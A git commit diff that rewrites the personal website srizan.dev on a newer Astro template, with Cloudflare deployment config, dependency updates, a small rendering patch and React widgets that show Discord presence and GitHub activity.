astro v2 website (#11)

* initial commit

* bento

* spotify and about me

* lol

* rose pine

* eff

* fix: small centering issue

* feat: latest posts view

* chore: temp filler

* feat: weather

* feat: discord status

* feat: remove old posts and add myself and some projects

* chore: generalize a bit

* chore: testing post and cloudflare ssr

* fix: prerender some more stuff

* feat: branding

* fix: cloudflare deployments

* feat: add lastfm profile

* feat: star rating

* feat: add discogs

* chore: add nocheck

* docs: barebones readme

* docs: try it out

* feat: writeup

* feat: some component stuff
This commit is contained in:
2026-03-13 23:04:37 +01:00
committed by GitHub
parent 524f1a36f8
commit c9c6215f6a
114 changed files with 8006 additions and 6331 deletions

1
.gitattributes vendored Normal file
View File

@@ -0,0 +1 @@
*.mdx linguist-vendored

15
.gitignore vendored
View File

@@ -1,24 +1,13 @@
# build output
dist/ dist/
# generated types
.astro/ .astro/
# dependencies
node_modules/ node_modules/
# logs
npm-debug.log* npm-debug.log*
yarn-debug.log* yarn-debug.log*
yarn-error.log* yarn-error.log*
pnpm-debug.log* pnpm-debug.log*
# environment variables
.env .env
.env.production .env.production
# macOS-specific files
.DS_Store .DS_Store
# jetbrains setting folder
.idea/ .idea/
teaser.pptx
~$teaser.pptx

1
.node-version Normal file
View File

@@ -0,0 +1 @@
22

View File

@@ -1,9 +0,0 @@
{
"useTabs": false,
"printWidth": 800,
"tabWidth": 2,
"singleQuote": true,
"trailingComma": "all",
"semi": false,
"plugins": ["prettier-plugin-astro"]
}

View File

@@ -1,4 +0,0 @@
{
"recommendations": ["astro-build.astro-vscode", "unifiedjs.vscode-mdx"],
"unwantedRecommendations": []
}

11
.vscode/launch.json vendored
View File

@@ -1,11 +0,0 @@
{
"version": "0.2.0",
"configurations": [
{
"command": "./node_modules/.bin/astro dev",
"name": "Development server",
"request": "launch",
"type": "node-terminal"
}
]
}

10
.vscode/settings.json vendored
View File

@@ -1,10 +0,0 @@
{
"css.customData": [".vscode/tailwind.json"],
"editor.tabSize": 2,
"editor.insertSpaces": true,
"editor.detectIndentation": false,
"prettier.documentSelectors": ["**/*.astro"],
"[astro]": {
"editor.defaultFormatter": "esbenp.prettier-vscode"
}
}

55
.vscode/tailwind.json vendored
View File

@@ -1,55 +0,0 @@
{
"version": 1.1,
"atDirectives": [
{
"name": "@tailwind",
"description": "Use the `@tailwind` directive to insert Tailwind's `base`, `components`, `utilities` and `screens` styles into your CSS.",
"references": [
{
"name": "Tailwind Documentation",
"url": "https://tailwindcss.com/docs/functions-and-directives#tailwind"
}
]
},
{
"name": "@apply",
"description": "Use the `@apply` directive to inline any existing utility classes into your own custom CSS. This is useful when you find a common utility pattern in your HTML that youd like to extract to a new component.",
"references": [
{
"name": "Tailwind Documentation",
"url": "https://tailwindcss.com/docs/functions-and-directives#apply"
}
]
},
{
"name": "@responsive",
"description": "You can generate responsive variants of your own classes by wrapping their definitions in the `@responsive` directive:\n```css\n@responsive {\n .alert {\n background-color: #E53E3E;\n }\n}\n```\n",
"references": [
{
"name": "Tailwind Documentation",
"url": "https://tailwindcss.com/docs/functions-and-directives#responsive"
}
]
},
{
"name": "@screen",
"description": "The `@screen` directive allows you to create media queries that reference your breakpoints by **name** instead of duplicating their values in your own CSS:\n```css\n@screen sm {\n /* ... */\n}\n```\n…gets transformed into this:\n```css\n@media (min-width: 640px) {\n /* ... */\n}\n```\n",
"references": [
{
"name": "Tailwind Documentation",
"url": "https://tailwindcss.com/docs/functions-and-directives#screen"
}
]
},
{
"name": "@variants",
"description": "Generate `hover`, `focus`, `active` and other **variants** of your own utilities by wrapping their definitions in the `@variants` directive:\n```css\n@variants hover, focus {\n .btn-brand {\n background-color: #3182CE;\n }\n}\n```\n",
"references": [
{
"name": "Tailwind Documentation",
"url": "https://tailwindcss.com/docs/functions-and-directives#variants"
}
]
}
]
}

21
LICENSE Normal file
View File

@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2024 Trevor Lee
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

View File

@@ -1,68 +1,14 @@
# Astro Starter Kit: Blog # srizan.dev
```sh [try it out!](https://astro-v2.mainwebsite-243.pages.dev/)
npm create astro@latest -- --template blog
```
[![Open in StackBlitz](https://developer.stackblitz.com/img/open_in_stackblitz.svg)](https://stackblitz.com/github/withastro/astro/tree/latest/examples/blog) srizan.dev astro rewrite (v2)!
[![Open with CodeSandbox](https://assets.codesandbox.io/github/button-edit-lime.svg)](https://codesandbox.io/p/sandbox/github/withastro/astro/tree/latest/examples/blog)
[![Open in GitHub Codespaces](https://github.com/codespaces/badge.svg)](https://codespaces.new/withastro/astro?devcontainer_path=.devcontainer/blog/devcontainer.json)
> 🧑‍🚀 **Seasoned astronaut?** Delete this file. Have fun! includes blogging and project portfolio. additionally, extra quality of life features for writing, such as:
- discogs api integration for music reviews
- goodreads api integration for book reviews
- myanimelist api integration for anime/manga reviews
![blog](https://github.com/withastro/astro/assets/2244813/ff10799f-a816-4703-b967-c78997e8323d) ## tech stack
- astro-erudite template
Features: - cloudflare pages
- ✅ Minimal styling (make it your own!)
- ✅ 100/100 Lighthouse performance
- ✅ SEO-friendly with canonical URLs and OpenGraph data
- ✅ Sitemap support
- ✅ RSS Feed support
- ✅ Markdown & MDX support
## 🚀 Project Structure
Inside of your Astro project, you'll see the following folders and files:
```text
├── public/
├── src/
│   ├── components/
│   ├── content/
│   ├── layouts/
│   └── pages/
├── astro.config.mjs
├── README.md
├── package.json
└── tsconfig.json
```
Astro looks for `.astro` or `.md` files in the `src/pages/` directory. Each page is exposed as a route based on its file name.
There's nothing special about `src/components/`, but that's where we like to put any Astro/React/Vue/Svelte/Preact components.
The `src/content/` directory contains "collections" of related Markdown and MDX documents. Use `getCollection()` to retrieve posts from `src/content/blog/`, and type-check your frontmatter using an optional schema. See [Astro's Content Collections docs](https://docs.astro.build/en/guides/content-collections/) to learn more.
Any static assets, like images, can be placed in the `public/` directory.
## 🧞 Commands
All commands are run from the root of the project, from a terminal:
| Command | Action |
| :------------------------ | :----------------------------------------------- |
| `npm install` | Installs dependencies |
| `npm run dev` | Starts local dev server at `localhost:4321` |
| `npm run build` | Build your production site to `./dist/` |
| `npm run preview` | Preview your build locally, before deploying |
| `npm run astro ...` | Run CLI commands like `astro add`, `astro check` |
| `npm run astro -- --help` | Get help using the Astro CLI |
## 👀 Want to learn more?
Check out [our documentation](https://docs.astro.build) or jump into our [Discord server](https://astro.build/chat).
## Credit
This theme is based off of the lovely [Bear Blog](https://github.com/HermanMartinus/bearblog/).

View File

@@ -1,12 +0,0 @@
import { defineConfig } from 'astro/config';
import mdx from '@astrojs/mdx';
import sitemap from '@astrojs/sitemap';
import react from "@astrojs/react";
import tailwind from "@astrojs/tailwind";
// https://astro.build/config
export default defineConfig({
site: 'https://srizan.dev',
integrations: [mdx(), sitemap(), react(), tailwind()]
});

133
astro.config.ts Normal file
View File

@@ -0,0 +1,133 @@
import { defineConfig } from 'astro/config'
import mdx from '@astrojs/mdx'
import react from '@astrojs/react'
import sitemap from '@astrojs/sitemap'
import icon from 'astro-icon'
import expressiveCode from 'astro-expressive-code'
import { rehypeHeadingIds } from '@astrojs/markdown-remark'
import rehypeExternalLinks from 'rehype-external-links'
import rehypeKatex from 'rehype-katex'
import rehypePrettyCode from 'rehype-pretty-code'
import remarkEmoji from 'remark-emoji'
import remarkMath from 'remark-math'
import rehypeDocument from 'rehype-document'
import { pluginCollapsibleSections } from '@expressive-code/plugin-collapsible-sections'
import { pluginLineNumbers } from '@expressive-code/plugin-line-numbers'
import tailwindcss from '@tailwindcss/vite'
import cloudflare from '@astrojs/cloudflare'
export default defineConfig({
site: 'https://srizan.dev',
integrations: [
expressiveCode({
themes: ['github-light', 'github-dark'],
plugins: [pluginCollapsibleSections(), pluginLineNumbers()],
useDarkModeMediaQuery: false,
themeCssSelector: (theme) => `[data-theme="${theme.name.split('-')[1]}"]`,
defaultProps: {
wrap: true,
collapseStyle: 'collapsible-auto',
overridesByLang: {
'ansi,bat,bash,batch,cmd,console,powershell,ps,ps1,psd1,psm1,sh,shell,shellscript,shellsession,text,zsh':
{
showLineNumbers: false,
},
},
},
styleOverrides: {
codeFontSize: '0.75rem',
borderColor: 'var(--border)',
codeFontFamily: 'var(--font-mono)',
codeBackground:
'color-mix(in oklab, var(--secondary) 25%, transparent)',
frames: {
editorActiveTabForeground: 'var(--muted-foreground)',
editorActiveTabBackground:
'color-mix(in oklab, var(--secondary) 25%, transparent)',
editorActiveTabIndicatorBottomColor: 'transparent',
editorActiveTabIndicatorTopColor: 'transparent',
editorTabBorderRadius: '0',
editorTabBarBackground: 'transparent',
editorTabBarBorderBottomColor: 'transparent',
frameBoxShadowCssValue: 'none',
terminalBackground:
'color-mix(in oklab, var(--secondary) 25%, transparent)',
terminalTitlebarBackground: 'transparent',
terminalTitlebarBorderBottomColor: 'transparent',
terminalTitlebarForeground: 'var(--muted-foreground)',
},
lineNumbers: {
foreground: 'var(--muted-foreground)',
},
uiFontFamily: 'var(--font-sans)',
},
}),
mdx(),
react(),
sitemap(),
icon(),
],
vite: {
plugins: [tailwindcss()],
resolve: {
alias: import.meta.env.PROD
? {
'react-dom/server': 'react-dom/server.edge',
}
: undefined,
},
},
server: {
port: 1234,
host: true,
},
devToolbar: {
enabled: false,
},
markdown: {
syntaxHighlight: false,
rehypePlugins: [
[
rehypeDocument,
{
css: 'https://cdn.jsdelivr.net/npm/katex@0.16.21/dist/katex.min.css',
},
],
[
rehypeExternalLinks,
{
target: '_blank',
rel: ['nofollow', 'noreferrer', 'noopener'],
},
],
rehypeHeadingIds,
rehypeKatex,
[
rehypePrettyCode,
{
theme: {
light: 'github-light',
dark: 'github-dark',
},
},
],
],
remarkPlugins: [remarkMath, remarkEmoji],
},
adapter: cloudflare({
imageService: 'compile',
}),
output: 'server',
})

2297
bun.lock Normal file

File diff suppressed because it is too large Load Diff

View File

@@ -1,17 +1,20 @@
{ {
"$schema": "https://ui.shadcn.com/schema.json", "$schema": "https://ui.shadcn.com/schema.json",
"style": "default", "style": "new-york",
"rsc": false, "rsc": false,
"tsx": true, "tsx": true,
"tailwind": { "tailwind": {
"config": "tailwind.config.mjs", "config": "tailwind.config.ts",
"css": "./src/styles/global.css", "css": "src/styles/global.css",
"baseColor": "slate", "baseColor": "neutral",
"cssVariables": true, "cssVariables": true,
"prefix": "" "prefix": ""
}, },
"aliases": { "aliases": {
"components": "@/components", "components": "@/components",
"utils": "@/lib/utils" "utils": "@/lib/utils",
"ui": "@/components/ui",
"lib": "@/lib",
"hooks": "@/hooks"
} }
} }

View File

@@ -1,46 +1,78 @@
{ {
"name": "mainwebsite", "name": "astro-erudite",
"type": "module", "type": "module",
"version": "0.0.1", "version": "1.6.1",
"packageManager": "yarn@1.22.21", "private": true,
"scripts": { "scripts": {
"dev": "astro dev", "dev": "astro dev",
"start": "astro dev", "start": "astro dev",
"build": "astro check && astro build", "build": "astro check && astro build",
"preview": "astro preview", "preview": "astro preview",
"astro": "astro" "astro": "astro",
"prettier": "prettier --write **/*.{ts,tsx,css,astro} --ignore-path .gitignore",
"postinstall": "patch-package",
"ui:add": "shadcn add"
}, },
"dependencies": { "dependencies": {
"@astrojs/check": "^0.7.0", "@astrojs/check": "^0.9.4",
"@astrojs/mdx": "^3.0.1", "@astrojs/cloudflare": "^12.6.9",
"@astrojs/react": "^3.3.4", "@astrojs/markdown-remark": "^6.3.1",
"@astrojs/rss": "^4.0.6", "@astrojs/mdx": "^4.2.6",
"@astrojs/sitemap": "^3.1.5", "@astrojs/react": "^4.2.7",
"@astrojs/tailwind": "^5.1.0", "@astrojs/rss": "^4.0.11",
"@radix-ui/react-dropdown-menu": "^2.0.6", "@astrojs/sitemap": "^3.4.0",
"@radix-ui/react-slot": "^1.0.2", "@expressive-code/plugin-collapsible-sections": "^0.40.2",
"@tryghost/content-api": "^1.11.21", "@expressive-code/plugin-line-numbers": "^0.40.2",
"@types/react": "^18.3.2", "@iconify-json/lucide": "^1.2.26",
"@types/react-dom": "^18.3.0", "@radix-ui/react-toggle": "^1.1.10",
"astro": "^4.8.7", "@radix-ui/react-toggle-group": "^1.1.11",
"class-variance-authority": "^0.7.0", "@tailwindcss/vite": "^4.0.7",
"@types/react": "19.0.0",
"@types/react-dom": "19.0.0",
"astro": "^5.7.13",
"astro-expressive-code": "^0.40.2",
"astro-icon": "^1.1.5",
"class-variance-authority": "^0.7.1",
"clsx": "^2.1.1", "clsx": "^2.1.1",
"lucide-react": "^0.379.0", "lucide-react": "^0.469.0",
"react": "^18.3.1", "patch-package": "^8.0.0",
"react-dom": "^18.3.1", "radix-ui": "^1.3.4",
"react-icons": "^5.3.0", "react": "19.0.0",
"tailwind-merge": "^2.3.0", "react-dom": "19.0.0",
"tailwindcss": "^3.4.3", "react-icons": "^5.5.0",
"tailwindcss-animate": "^1.0.7", "rehype-document": "^7.0.3",
"typescript": "^5.4.5" "rehype-external-links": "^3.0.0",
"rehype-katex": "^7.0.1",
"rehype-pretty-code": "^0.14.1",
"remark-emoji": "^5.0.1",
"remark-math": "^6.0.0",
"tailwind-merge": "^3.3.0",
"tailwindcss": "^4.1.7",
"typescript": "^5.8.3"
}, },
"devDependencies": { "devDependencies": {
"@tailwindcss/typography": "^0.5.13", "prettier": "^3.5.1",
"@types/jsdom": "^21.1.6", "prettier-plugin-astro": "^0.14.1",
"@types/tryghost__content-api": "^1.3.16", "prettier-plugin-astro-organize-imports": "^0.4.11",
"jsdom": "^24.0.0", "prettier-plugin-tailwindcss": "^0.6.11",
"prettier": "^3.2.5", "shadcn": "^3.3.1"
"prettier-plugin-astro": "^0.14.0", },
"shiki": "^1.6.0" "prettier": {
} "semi": false,
"singleQuote": true,
"plugins": [
"prettier-plugin-astro",
"prettier-plugin-tailwindcss",
"prettier-plugin-astro-organize-imports"
],
"overrides": [
{
"files": "*.astro",
"options": {
"parser": "astro"
}
}
]
},
"packageManager": "yarn@1.22.22+sha512.a6b2f7906b721bba3d67d4aff083df04dad64c399707841b7acf00f6b133b7ac24255f2652fa22ae3534329dc6180534e98d17432037ff6fd140556e2bb3137e"
} }

View File

@@ -0,0 +1,13 @@
diff --git a/node_modules/rehype-pretty-code/dist/index.js b/node_modules/rehype-pretty-code/dist/index.js
index 9142858..9f59dc9 100644
--- a/node_modules/rehype-pretty-code/dist/index.js
+++ b/node_modules/rehype-pretty-code/dist/index.js
@@ -22,7 +22,7 @@ function isInlineCode(element, parent, bypass = false) {
return element.tagName === "code" && isElement(parent) && parent.tagName !== "pre" || element.tagName === "inlineCode";
}
function isBlockCode(element) {
- return element.tagName === "pre" && Array.isArray(element.children) && element.children.length === 1 && isElement(element.children[0]) && element.children[0].tagName === "code";
+ return false;
}
function getInlineCodeLang(meta, defaultFallbackLang) {
const placeholder = "\0";

BIN
public/apple-touch-icon.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 70 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 31 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 28 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 38 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 34 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 21 KiB

BIN
public/favicon-96x96.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 24 KiB

BIN
public/favicon.ico Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

File diff suppressed because one or more lines are too long

Before

Width:  |  Height:  |  Size: 749 B

After

Width:  |  Height:  |  Size: 93 KiB

Binary file not shown.

BIN
public/fonts/GeistVF.woff2 Normal file

Binary file not shown.

Binary file not shown.

Before

Width:  |  Height:  |  Size: 177 KiB

View File

@@ -1,4 +0,0 @@
User-agent: *
Allow: /
Sitemap: https://srizan.dev/sitemap-index.xml

21
public/site.webmanifest Normal file
View File

@@ -0,0 +1,21 @@
{
"name": "MyWebSite",
"short_name": "MySite",
"icons": [
{
"src": "/web-app-manifest-192x192.png",
"sizes": "192x192",
"type": "image/png",
"purpose": "maskable"
},
{
"src": "/web-app-manifest-512x512.png",
"sizes": "512x512",
"type": "image/png",
"purpose": "maskable"
}
],
"theme_color": "#ffffff",
"background_color": "#ffffff",
"display": "standalone"
}

BIN
public/static/1200x630.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 77 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 156 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 593 KiB

BIN
public/static/logo.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 405 KiB

16
public/static/logo.svg Normal file
View File

@@ -0,0 +1,16 @@
<svg width="512" height="512" viewBox="0 0 512 512" fill="none" xmlns="http://www.w3.org/2000/svg">
<g clip-path="url(#clip0_271_118)">
<rect width="512" height="74" fill="#CCCCCC"/>
<rect y="146" width="512" height="74" fill="#CCCCCC"/>
<rect y="292" width="512" height="74" fill="#CCCCCC"/>
<rect y="438" width="512" height="74" fill="#CCCCCC"/>
<rect y="74" width="72" height="72" fill="#CCCCCC"/>
<rect y="366" width="72" height="72" fill="#CCCCCC"/>
<rect x="440" y="220" width="72" height="72" fill="#CCCCCC"/>
</g>
<defs>
<clipPath id="clip0_271_118">
<rect width="512" height="512" fill="white"/>
</clipPath>
</defs>
</svg>

After

Width:  |  Height:  |  Size: 632 B

BIN
public/static/preview-1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 530 KiB

BIN
public/static/preview-2.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 678 KiB

BIN
public/static/preview-3.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 553 KiB

BIN
public/static/preview-4.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 887 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 52 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 140 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 78 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 405 KiB

View File

@@ -1,32 +0,0 @@
[
{
"url": "https://res.cloudinary.com/mainwebsite/image/upload/v1703593035/bg/Dom_Luis_I_Bridge_Porto_dsdodq.jpg",
"author": "me",
"description": "Dom Luis I Bridge (Porto)",
"location": "https://www.openstreetmap.org/way/98835981"
},
{
"url": "https://res.cloudinary.com/mainwebsite/image/upload/v1703593035/bg/Oviedo_Landscape_c8xva6.jpg",
"author": "me",
"description": "Oviedo Landscape",
"location": "https://www.openstreetmap.org/way/605000131#map=17/43.37598/-5.86843"
},
{
"url": "https://res.cloudinary.com/mainwebsite/image/upload/v1703593035/bg/Playa_de_Santa_Marina_ae389j.jpg",
"author": "me",
"description": "Playa de Santa Marina (Ribadesella)",
"location": "https://www.openstreetmap.org/way/822201400#map=19/43.46545/-5.06683"
},
{
"url": "https://res.cloudinary.com/mainwebsite/image/upload/v1703593035/bg/Hotel_Best_Benalmadena_olqc9x.jpg",
"author": "me",
"description": "Hotel Best (Benalmádena)",
"location": "https://www.openstreetmap.org/node/1253883928"
},
{
"url": "https://res.cloudinary.com/mainwebsite/image/upload/v1703593035/bg/Douro_River_Porto_cuga4l.jpg",
"author": "me",
"description": "Douro River (Porto)",
"location": "https://www.openstreetmap.org/#map=18/41.14065/-8.60647"
}
]

View File

@@ -0,0 +1,62 @@
---
import Link from '@/components/Link.astro'
import AvatarComponent from '@/components/ui/avatar'
import { cn } from '@/lib/utils'
import type { SocialLink } from '@/types'
import type { CollectionEntry } from 'astro:content'
import SocialIcons from './SocialIcons.astro'
interface Props {
author: CollectionEntry<'authors'>
}
const { author } = Astro.props
const { name, avatar, bio, pronouns } = author.data
const currentPath = Astro.url.pathname
const isAuthorPage = currentPath === `/authors/${author.id}`
const socialLinks: SocialLink[] = [
author.data.website && { href: author.data.website, label: 'Website' },
author.data.github && { href: author.data.github, label: 'GitHub' },
author.data.twitter && { href: author.data.twitter, label: 'Twitter' },
author.data.linkedin && { href: author.data.linkedin, label: 'LinkedIn' },
author.data.mail && { href: `mailto:${author.data.mail}`, label: 'Email' },
].filter(Boolean) as SocialLink[]
---
<div
class="has-[a:hover]:bg-secondary/50 overflow-hidden rounded-xl border p-4 transition-colors duration-300 ease-in-out"
>
<div class="flex flex-wrap gap-4">
<Link
href={`/authors/${author.id}`}
class={cn('block', isAuthorPage && 'pointer-events-none')}
>
<AvatarComponent
client:load
src={avatar}
alt={`Avatar of ${name}`}
fallback={name[0]}
className={cn(
'size-32 rounded-md [&>[data-slot="avatar-fallback"]]:rounded-md',
!isAuthorPage &&
'hover:ring-primary transition-shadow duration-300 hover:cursor-pointer hover:ring-2',
)}
/>
</Link>
<div class="flex grow flex-col justify-between gap-y-4">
<div>
<div class="flex flex-wrap items-center gap-x-2">
<h3 class="text-lg font-medium">{name}</h3>
{
pronouns && (
<span class="text-muted-foreground text-sm">({pronouns})</span>
)
}
</div>
<p class="text-muted-foreground text-sm">{bio}</p>
</div>
<SocialIcons links={socialLinks} />
</div>
</div>
</div>

View File

@@ -1,49 +0,0 @@
---
// Import the global.css file here so that it is included on
// all pages through the use of the <BaseHead /> component.
import '@/styles/global.css';
interface Props {
title: string;
description: string;
image?: string;
}
const canonicalURL = new URL(Astro.url.pathname, Astro.site);
const { title, description, image } = Astro.props;
---
<!-- Global Metadata -->
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width,initial-scale=1" />
<link rel="icon" type="image/svg+xml" href="/favicon.svg" />
<meta name="generator" content={Astro.generator} />
<link rel="sitemap" href="/sitemap-index.xml" />
<!-- Font preloads -->
<link rel="preload" href="https://fonts.srizan.dev/satoshi/fonts/Satoshi-Medium.woff" as="font" type="font/woff" crossorigin />
<!-- Canonical URL -->
<link rel="canonical" href={canonicalURL} />
<!-- Primary Meta Tags -->
<title>{title}</title>
<meta name="title" content={title} />
<meta name="description" content={description} />
<!-- Open Graph / Facebook -->
<meta property="og:type" content="website" />
<meta property="og:url" content={Astro.url} />
<meta property="og:title" content={title} />
<meta property="og:description" content={description} />
<meta property="og:image" content={image || ''} />
<!-- Twitter -->
<meta property="twitter:card" content="summary_large_image" />
<meta property="twitter:url" content={Astro.url} />
<meta property="twitter:title" content={title} />
<meta property="twitter:description" content={description} />
<meta property="twitter:image" content={image || ''} />
<script async src="https://analytics.srizan.dev/ua.js" data-website-id="54ccb44c-b03c-4790-8262-3e1a82241a24"></script>

View File

@@ -0,0 +1,183 @@
import { useEffect, useState } from 'react'
import { Skeleton } from './ui/skeleton'
interface DiscordUser {
id: string
username: string
discriminator: string
avatar: string
global_name: string | null
}
interface DiscordActivity {
id: string
name: string
type: number
state?: string
details?: string
timestamps?: {
start?: number
end?: number
}
assets?: {
large_image?: string
large_text?: string
small_image?: string
small_text?: string
}
application_id?: string
}
interface LanyardData {
discord_user: DiscordUser
discord_status: 'online' | 'idle' | 'dnd' | 'offline'
activities: DiscordActivity[]
listening_to_spotify: boolean
spotify?: {
track_id: string
timestamps: {
start: number
end: number
}
song: string
artist: string
album_art_url: string
album: string
}
}
interface LanyardResponse {
success: boolean
data: LanyardData
}
export default function BentoDiscord() {
const [discordData, setDiscordData] = useState<LanyardData | null>(null)
const [isLoading, setIsLoading] = useState(true)
useEffect(() => {
const fetchDiscordData = async () => {
try {
const response = await fetch(
`https://api.lanyard.rest/v1/users/703974042700611634`,
)
const data: LanyardResponse = await response.json()
if (data.success) {
setDiscordData(data.data)
}
setIsLoading(false)
} catch (error) {
console.error('Error fetching Discord data:', error)
setIsLoading(false)
}
}
fetchDiscordData()
const interval = setInterval(fetchDiscordData, 30000)
return () => clearInterval(interval)
}, [])
const getStatusColor = (status: string) => {
switch (status) {
case 'online':
return 'bg-green-400'
case 'idle':
return 'bg-yellow-400'
case 'dnd':
return 'bg-red-400'
default:
return 'bg-gray-400'
}
}
const getStatusText = (status: string) => {
switch (status) {
case 'online':
return 'Online'
case 'idle':
return 'Away'
case 'dnd':
return 'Do Not Disturb'
default:
return 'Offline'
}
}
const getAvatarUrl = (user: DiscordUser) => {
return `https://cdn.discordapp.com/avatars/${user.id}/${user.avatar}.png?size=128`
}
const getMainActivity = (activities: DiscordActivity[]) => {
return (
activities.find(
(activity) => activity.type !== 4 && activity.name !== 'Spotify',
) || null
)
}
if (isLoading) {
return (
<div className="flex h-full w-full flex-col justify-between rounded-lg p-4">
<div className="flex items-center gap-2">
<Skeleton className="h-2 w-2 rounded-full" />
<Skeleton className="h-3 w-16" />
</div>
<div className="flex items-center gap-3">
<Skeleton className="h-12 w-12 flex-shrink-0 rounded-full" />
<div className="flex min-w-0 flex-1 flex-col gap-2">
<Skeleton className="h-4 w-3/4" />
<Skeleton className="h-3 w-1/2" />
</div>
</div>
<Skeleton className="h-3 w-24" />
</div>
)
}
if (!discordData)
return <p className="text-muted-foreground p-4 text-sm">Unavailable</p>
const mainActivity = getMainActivity(discordData.activities)
const displayName =
discordData.discord_user.global_name || discordData.discord_user.username
return (
<a
href={`https://discord.com/users/${discordData.discord_user.id}`}
target="_blank"
rel="noopener noreferrer"
className="group hover:bg-accent/40 flex h-full w-full flex-col justify-between rounded-lg p-4 transition-colors duration-200"
>
<div className="flex items-center gap-1.5">
<span
className={`h-2 w-2 flex-shrink-0 rounded-full ${getStatusColor(discordData.discord_status)}`}
/>
<span className="text-muted-foreground text-xs font-medium tracking-wide uppercase">
{getStatusText(discordData.discord_status)}
</span>
</div>
<div className="flex items-center gap-3">
<img
src={getAvatarUrl(discordData.discord_user)}
alt="Discord avatar"
width={48}
height={48}
className="h-12 w-12 flex-shrink-0 rounded-full object-cover"
/>
<div className="flex min-w-0 flex-col">
<p className="truncate text-sm leading-snug font-semibold">
{displayName}
</p>
<p className="text-muted-foreground truncate text-xs">
@{discordData.discord_user.username}
</p>
</div>
</div>
<p className="text-muted-foreground/60 truncate text-xs">
{mainActivity ? mainActivity.name : 'No activity'}
</p>
</a>
)
}

View File

@@ -0,0 +1,298 @@
import { useEffect, useRef, useState } from 'react'
import { FaGithub } from 'react-icons/fa'
import { Skeleton } from './ui/skeleton'
interface GithubEvent {
id: string
type: string
repo: {
name: string
}
payload?: {
action?: string
ref_type?: string
head?: string
before?: string
commits?: Array<{ sha?: string; message: string }>
pull_request?: {
title?: string
html_url?: string
}
issue?: {
title?: string
html_url?: string
}
}
}
const EVENT_PRIORITY: Record<string, number> = {
PushEvent: 5,
PullRequestEvent: 4,
IssuesEvent: 3,
IssueCommentEvent: 2,
ReleaseEvent: 2,
CreateEvent: 1,
}
interface ActivityView {
id: string
title: string
detail: string
meta?: string
repo: string
url: string
}
async function parseActivity(event: GithubEvent): Promise<ActivityView> {
const repo = event.repo.name
const repoUrl = `https://github.com/${repo}`
if (event.type === 'PushEvent') {
const headSha = event.payload?.head
const shortSha = headSha?.slice(0, 7)
let detail = `Updated ${repo}`
if (headSha) {
try {
const response = await fetch(
`https://api.github.com/repos/${repo}/commits/${headSha}`,
{
headers: {
Accept: 'application/vnd.github+json',
},
},
)
if (response.ok) {
const commitData: { commit?: { message?: string } } =
await response.json()
const commitMessage = commitData.commit?.message?.split('\n')[0]
if (commitMessage) {
detail = commitMessage
}
}
} catch (error) {
console.error('Error fetching commit details:', error)
}
}
return {
id: event.id,
title: 'Pushed commit',
detail,
meta: shortSha ? shortSha : undefined,
repo,
url: headSha ? `${repoUrl}/commit/${headSha}` : `${repoUrl}/commits`,
}
}
if (event.type === 'PullRequestEvent') {
return {
id: event.id,
title: `${event.payload?.action ?? 'Updated'} pull request`,
detail: event.payload?.pull_request?.title ?? repo,
meta: 'pull request',
repo,
url: event.payload?.pull_request?.html_url ?? repoUrl,
}
}
if (event.type === 'IssuesEvent') {
return {
id: event.id,
title: `${event.payload?.action ?? 'Updated'} issue`,
detail: event.payload?.issue?.title ?? repo,
meta: 'issue',
repo,
url: event.payload?.issue?.html_url ?? repoUrl,
}
}
if (event.type === 'IssueCommentEvent') {
return {
id: event.id,
title: `${event.payload?.action ?? 'Updated'} comment`,
detail: event.payload?.issue?.title ?? repo,
meta: 'comment',
repo,
url: event.payload?.issue?.html_url ?? repoUrl,
}
}
if (event.type === 'CreateEvent') {
return {
id: event.id,
title: 'Created new item',
detail: `${event.payload?.ref_type ?? 'resource'} in ${repo}`,
meta: event.payload?.ref_type,
repo,
url: repoUrl,
}
}
if (event.type === 'ReleaseEvent') {
return {
id: event.id,
title: 'Published release',
detail: `New release in ${repo}`,
meta: 'release',
repo,
url: repoUrl,
}
}
return {
id: event.id,
title: event.type.replace('Event', ''),
detail: `Activity in ${repo}`,
meta: undefined,
repo,
url: repoUrl,
}
}
export default function BentoGithub() {
const CARD_PADDING_X = 32
const LIST_PADDING_X = 16
const cardRef = useRef<HTMLDivElement | null>(null)
const [activity, setActivity] = useState<ActivityView[]>([])
const [isLoading, setIsLoading] = useState(true)
